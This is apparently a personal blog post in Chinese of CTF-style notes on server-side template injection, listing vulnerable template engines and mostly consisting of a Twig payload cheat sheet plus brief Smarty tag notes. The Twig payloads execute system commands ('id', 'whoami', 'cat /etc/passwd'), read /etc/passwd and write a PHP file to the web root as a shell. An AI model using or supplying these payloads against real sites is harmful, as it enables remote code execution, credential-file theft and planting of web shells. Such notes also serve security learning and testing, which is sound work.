SSTI注入知识点

在用不同的语言进行网站业务开发的时候,往往会有很多模板引擎方便开发。这些模板引擎会提供一些特定的模板便于生成对应的html页面元素,而如果对用户的输入不加以控制的话,就会导致SSTI注入漏洞。

模板引擎以及模板加载器的格式

各种语言常发生SSTI注入漏洞的模板引擎:
python: jinja2 mako tornado django
php: smarty twig Blade
java: jade velocity jsp


PHP

Twig模板

{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}

{{app.request.files.get(1).openFile.fread(99)}}

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

{{_self.env.enableDebug()}}{{_self.env.isDebug()}}

{{["id"]|map("system")|join(",")}}

{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

{{["id",0]|sort("system")|join(",")}}

{{["id"]|filter("system")|join(",")}}

{{[0,0]|reduce("system","id")|join(",")}}

{{['cat /etc/passwd']|filter('system')}}

Smarty模板

参考文献:[CISCN2019 华东南赛区]Web11 – Rabbittt – 博客园 (cnblogs.com)
PHP Smarty有哪些常用的标签和函数?_smarty 自定义标签-CSDN博客
Smarty 最新 SSTI 总结 – 先知社区 (aliyun.com)

标签:

  • {php}
    Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用
  • {literal}
    可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
  • { $variable }
    让你能够在模板中显示变量
    例:{echo "Hello, World!"}
  • {if}
    Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如||or&&andis_array(), 等等
    例:{if phpinfo()}{/if}

Python

jinja2模板

一般来说flask用的就是jinja2模板

有一篇很厉害的文章:https://blog.csdn.net/qq_38154820/article/details/111399386
我的文章只记录我用到过的内容吧

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇